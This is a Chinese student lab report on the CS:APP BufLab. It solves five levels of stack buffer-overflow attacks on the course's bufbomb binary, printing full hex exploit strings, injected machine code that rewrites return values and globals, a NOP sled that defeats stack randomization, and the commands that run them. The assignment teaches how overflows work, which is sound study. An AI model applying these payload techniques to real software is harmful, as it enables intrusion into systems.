写在前面:
这是2024学年春季学期计算机系统的最后一个实验,以教材中缓冲区攻击的栈溢出攻击为基础,实现一系列的缓冲区攻击,难度依次上升,但是有了BombLab实验的基础,这个实验的汇编代码就理解就简单很多,没有复杂数据结构,也没有复杂的函数递归,但是这个实验覆盖了栈处理的多种情况,对于函数栈帧的理解有很大帮助。
一、实验项目一
1.1 项目名称
BufLab实验
1.2 实验目的
1.进一步加强学生对汇编代码的理解和分析能力
2.使学生详细了解IA32的调用约定以及堆栈组织
3.使学生了解缓冲区攻击这种安全漏洞的本质,以便在编写系统代码时避免产生
1.3 实验资源
1. 9.2版本gdb
2. 2.34版本objdump
3. BufLab实验文件-makecookie
此文件可以根据输入的用户ID来生成一个属于自己独一无二的字符串cookie,利用这个字符串作为实验的输入之一,可以确保实验由本人独立完成,本次实验中,采用自己的学号:XXXXXXXXXXXX作为用户ID,用于生成cookie:
4. BufLab实验文件-bufbomb
这是本实验的关键文件,文件中通过调用Gets函数(类似标准库函数gets)来将我们输入的字符写入缓冲区,并且不会对缓冲区进行检查,也就是说超过缓冲区的字符将直接覆盖掉其他正常字符,我们根据这个特性来对文件中的不同函数的缓冲区进行攻击,以达到实验每一关的目的。Bufbomb文件需要的命令行参数:
-u 输入自己的用户ID生成的cookie参数
-h 打印可能需要的命令行参数
-n 开启最后一关的Nitro模式
-s 向服务器提交攻击字符串(本实验中暂无此功能)
5. BufLab实验文件-hex2raw
由于bufbomb文件需要传入一个字符串作为参数,所以本实验提供了一个转换文件,可以将按照单字节、空格分隔的缓冲区攻击字符作为ASCII码转换为一整个字符串,如此就可以作为参数传入从而对缓冲区进行攻击。
二、实验任务
Leve0:Candle
分析指导书可知,本关的目标是通过缓冲区攻击在test函数执行getbuf函数时,执行返回指令(ret)后,不是正常返回到test函数继续执行,而是跳转执行smoke函数的代码。
首先查看test函数的汇编代码:
观察发现test函数首先调用uniqueval函数,利用当前进程的PID产生一个随机数,返回到%eax中,将其存入栈中(本题暂未使用),调用getbuf函数:
getbuf函数申请了一段大小为0x38的栈区空间(%esp和%ebp之间的空间)作为缓冲区,然后将%ebp-0x28作为参数传入函数Gets,之后将以%ebp-0x28作为起始地址依次向地址中写入字节,分析Gets函数:
Gets函数实现以传入参数作为首地址,不断向地址内写入字节,每次写完后目标地址加一,直到遇到换行符结束,同时不对缓冲区进行检查。
经分析可知,当前栈中%ebp存放的是被调用者的%ebp的值,用于恢复原栈帧,%ebp+4中存放的则是返回地址,在getbuf函数执行完成之后,首先调用leave恢复原栈帧,然后调用ret指令将栈中%ebp+4处存放的返回地址push到指令计数器%eip中,利用这个特点以及Gets函数能够向缓冲区写入字节同时不进行溢出检查的特性,我们可以从%ebp-0x28这个地址开始不断的写入字符进行攻击,直到最后将我们想让程序执行的地址写入缓冲区覆盖掉原来的正常返回地址,就成功地完成了getbuf函数返回之后不是回到test而是跳转到smoke的操作。(由于smoke函数中会直接结束程序,不会返回到test中,因此本题可以不用考栈帧的恢复,即返回地址前四个字节也可以是任意字节),观察smoke函数的入口:
入口为0x8048e0a,但是考虑到需要将字符逐字节输入hex2raw中,作为ASCII码从而生成字符串,而ASCII码0x0a对应的字符正好是换行符,会终止Gets函数,所以不能选取smoke函数的第一行作为入口,但由于本题不需要考虑栈帧的保存与恢复,所以可以从第二行进入,根据小端法存放规则,我们需要从%ebp+4处依次写入字符0b 8e 04 08,%ebp+4之前的字符仅作为填充,无具体要求,按自己喜好即可(非0a):
07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 0b 8e 04 08
输入44个07作为填充,最后读入smoke的入口,顺利完成缓冲区攻击。
执行本关卡需要两步:首先使用指令./hex2raw < answer0.txt >answerstring0.txt,将我们的攻击字符转换为ASCII码,然后重定向到文件answerstring0.txt中,再将重定向后的文件作为参数输入即可完成攻击:
Leve1:Sparkler
本关的目标是通过缓冲区攻击在test函数执行getbuf函数时,执行返回指令(ret)后,不是正常返回到test函数继续执行,而是跳转执行fizz函数的代码。同时传入fizz函数的参数要等于cookie才能完成攻击。
fizz函数:
查看fizz函数的汇编代码:
得到fizz函数的入口地址为0x08048daf,与第0关一样,从%ebp+4处开始依次写入af 8d 04 08 进行攻击,从而使得getbuf函数结束之后会跳转进入fizz函数执行;接着要考虑第二点,即传入参数的问题,观察汇编代码可以发现传入fizz的参数val即为地址%ebp+8处的值,而此处的%ebp寄存器已经更新成%esp的值,分析getbuf函数结尾,%esp寄存器的值等于%ebp+4,ret弹出返回地址以及将%ebp的值push进栈对esp寄存器大小的改变正好抵消了,所以%esp仍为%ebp+4,所以我们要将参数val的值改为cookie,只需从地址空间%ebp+0xc处写入即可:
07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 af 8d 04 08 07 07 07 07 13 fd ee 7c
按照与第0关相同的方法使用指令./hex2raw < answer1.txt >answerstring1.txt,将我们的攻击字符转换为ASCII码,然后重定向到文件answerstring1.txt中,再将重定向后的文件作为参数输入进行攻击:
Leve2:Firecracker
本题与上一关类似,也是通过缓冲区攻击在test函数执行getbuf函数时,执行返回指令(ret)后,不是正常返回到test函数继续执行,而是跳转执行bang函数的代码。同时设置全局变量Global_value的值为用户ID生成的cookie,与上关不同的是,这里的Global_value不再是一个简单的传入参数,其在内存的堆区空间,无法简单地通过向缓冲区写入字符直至我们需要的值覆盖掉原来的正常值来达到更改参数的目的,为了实现目的,我们需要自己写一段汇编代码(转换为机器码读入),然后巧妙地利用ret指令,跳转到我们写的汇编代码处执行,完成对全局变量的修改。
bang函数:
bang函数汇编代码:
分析汇编可知,结合fizz函数的汇编代码,0x804d104地址存放的是cookie的值,因此0x804d10c地址存放的就是我们需要更改的全局变量Global_value,同时bang函数的入口为0x08048d52,获取了这些基本信息后,就可以来写我们的汇编代码了:
代码内容很简单,就是将cookie的值以立即数的形式(不能从地址放入地址)放入Golab_value对应的地址中,然后将bang函数的入口压入栈,使用ret指令进行跳转运行,由于bang函数中同样调用了exit函数进行退出,所以不需要考虑栈帧的保存与恢复,将汇编代码进行汇编,然后使用objdump进行反汇编查看机器码:
记录下机器码,用于后续执行,最后需要考虑的就是我们的机器码应该写在哪里以及如何让程序跳转到对应位置来执行我们的机器码,这个时候就想到可以利用getbuf中的ret指令,我们首先在缓冲区中写入对应的机器码,然后通过getbuf中的ret指令跳转到缓冲区的对应位置就可以执行我们的机器码,由于写入字符的缓冲区的起始地址为%ebp-0x28,使用gdb调试,查看对应的值:
故据此就可以设计我们的攻击字节:在缓冲区的起始位置写入我们待执行的机器码c7 05 0c d1 04 08 13 fd ee 7c 68 52 8d 04 08 c3,然后用此处地址覆盖掉原返回地址:
c7 05 0c d1 04 08 13 fd ee 7c 68 52 8d 04 08 c3 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 28 32 68 55
使用指令./hex2raw < answer2.txt >answerstring2.txt,将我们的攻击字符转换为ASCII码,然后重定向到文件answerstring2.txt中,再将重定向后的文件作为参数输入进行攻击:
Leve3:Dynamite
本关与上一关类似,也是通过缓冲区攻击在test函数执行getbuf函数时,跳转执行自己书写的汇编代码,但本题额外增加的一个条件是:执行完自己的汇编代码之后,不仅要将返回值eax更改成cookie,而且要正常返回到test函数继续执行,原函数的栈帧均要正常回复,以防止出现segmentation fault(段错误),如此攻击就能非常隐蔽地执行自己想要执行的操作。
再次分析test的汇编代码:
正常的返回地址为getbuf的后一行指令0x8048e50,即此处作为我们书写汇编代码最后ret的跳转返回地址,汇编代码如下(此处采用了访问内存的方式来得到cookie,更好的优化思路是直接将立即数传入,减少内存访问产生的时间开销):
改进后:
先汇编代码,然后再进行使用objdump反汇编得到对应的机器码:
记录下机器码用于缓冲区攻击的执行,接着分析getbuf函数,来解决第二个主要问题:栈帧的恢复问题:
发现ret前的leave指令是恢复栈帧的关键,观察汇编代码,根据过程调用相关的知识,0x8049262地址处的指令操作即为保存被调用函数栈帧的指令,使用gdb调试查看此处%esp的值:
根据汇编代码中leave的工作原理,我们需要将被调用函数的栈帧保存到返回指令的前四个字节处,即从%ebp开始写入,缓冲区攻击文件:
a1 04 d1 04 08 68 50 8e 04 08 c3 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 80 32 68 55 28 32 68 55
使用指令./hex2raw < answer3.txt >answerstring3.txt,将我们的攻击字符转换为ASCII码,然后重定向到文件answerstring3.txt中,再将重定向后的文件作为参数输入进行攻击:
Leve4:Nitroglycerin
本关是最后一关,也是最难最有意思的一关,本关的目的和上一关一样,需要将getbufn函数的返回值改成cookie,然后正常回到test函数,本关连续调用五次getbufn函数,需要保证每次都能顺利完成修改返回值才能顺利通关,与此同时本关采用了一个保护机制—栈随机化,即每一次调用testn函数时都会在五个值里面随机挑选一个作为ebp,这样就使得我们不能像上一关一样直接将缓冲区入口作为跳转的目标地址(因为此入口的值不是一个确定的值)这个时候就需要用到教材中提到的一种暴力攻击方式—空操作雪橇(nop sled)这种方式可以用足够多的nop指令来进行填充,涵盖栈随机化的全部范围,就能够顺利攻破本关。
(补充介绍栈随机化的相关知识),由于我们的操作系统开启了ASLR栈随机化保护,会随机初始化栈帧,同时bufbomb文件采用PIC(位置无关编码)的方式进行编译,这样就使得代码段中的指令与数据段中的变量之间的相对偏移是固定的,与绝对存储器无关,这样就可以无论实际地址如何随机产生,都能通过GOT中的条目(保存了指令与数据的相对偏移)来完成重定位,同时有很好地对缓冲区攻击进行保护。
testn汇编代码:
记录下getbufn的返回地址0x8048ce2,用于后续汇编代码的编写,同时由于接着分析getbufn的汇编代码:
本关的getbufn函数的缓冲区大小增大了许多,首先计算要顺利完成跳转所需要填充的字符个数:返回地址位于%ebp+4,故总字符数为4+0x208=528,除去跳转地址需要填充524个字符,然后我们利用gdb调试来分析五次栈随机化产生的不同ebp-0x208(缓冲区读入字符的入口)的值:
观察发现:最大的入口地址为0x55683048,最小的入口地址为0x55682fe8,它们之间的差值为128(十进制),此处为了暴力破解随机化,只需要填充大于等于128个nop,就能把随机化的范围全部覆盖,然后指定跳转到最大的那个ebp的位置,就可以保证不管题目本次生成的ebp是多少,我们的跳转都能要么跳转到nop 要么跳转到机器码的首地址,(nop指令表示no operation,会直接划过本指令然后使指令计数器PC指向下一条指令)此题的极限情况就是生成的ebp是最小的那个ebp,最大的ebp比最小的ebp多128 所以我们正好跳过了所有的nop来到了机器码,成功破解了栈随机化的保护机制。最后我们需要考虑的事情是如何恢复栈帧,考虑到调用getbufn之后会进行栈随机化操作,所以不能利用getbufn中ebp的值来进行栈恢复,这时需要利用的是testn函数中%ebp与%esp之间的关系:
由于栈随机化的原因,我们无法准确得知每一次%ebp与%esp的值,所以不能利用getbufn中的leave函数来进行栈帧恢复,为了恢复栈帧,我们只能利用%ebp和%esp的大小关系,在我们编写的汇编代码中直接根据等量关系将%esp的值进行线性映射后赋值给%ebp首先分析testn函数,发现在运行我们的汇编代码时,%esp已经进行了减0x24操作,所以%ebp=%esp+0x28,据此,编写我们的汇编代码:
先汇编后再使用objdump反汇编得到汇编代码对应的机器码:
至此,我们就获得了缓冲区攻击包含的全部528个字节:128字节nop指令(大于等于也可以,只要最后所有字节个数要等于528即可)+15字节机器码+(528-nop数目-机器码数目-4字节ebp恢复的值)字节填充字符+4字节跳转地址
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 a1 04 d1 04 08 8d 6c 24 28 68 e2 8c 04 08 c3 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 07 68 30 68 55
由于本实验需要连续输入五次字符,而原来的重定向指令只能单次将txt文件传入bufbomb中,这里采用指令./hex2raw < answer4.txt -n | ./bufbomb -u 202214010807 -n,可以连续重定向,-n表示开启最后一关的模式:
最多的情况可以使用509个nop进行空操作雪橇:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 a1 04 d1 04 08 8d 6c 24 28 68 e2 8c 04 08 c3 68 30 68 55
可以看到均正常顺利地通过了本关。
三、总结
3.1 实验中出现的问题
1.前两个关都非常顺利地通过了,第三关刚开始的时候没有想到可以直接利用objdump进行反汇编得到机器码,在网上查阅相关机器码的时候耗费较多时间
2.首次做最后一关时由于个人粗心忘记使用-n开启Level4的关卡,导致莫名其妙卡了很久找不到原因
3.编写汇编代码表示立即数漏加$导致读取相关地址产生segmentation fault
3.2 心得体会
本实验虽然难度小于第三个实验BombLab,但带给我的收获和体验感却十分惊艳,BufLab这个实验让我们有机会动手去真正实现一个缓冲区攻击,从而对一个正常对程序执行我们想要执行的操作,甚至可以在正常程序完全没有察觉的情况下执行完成我们的全部攻击;本实验加深了我们对汇编代码、栈帧结构的理解、对gdb调试的使用以及理解了黑客是如何通过注入缓冲区进行攻击的,更令人惊叹的是,最后一个实验将教材《深入理解计算机系统》中提到的缓冲区保护机制—栈随机化处理以及黑客对付此保护机制的攻击方法—空操作雪橇(nop sled)加入到了实验中,巧妙的结合了理论知识与实践,能够更好地加深我们对第三章程序的机器级表达的理解。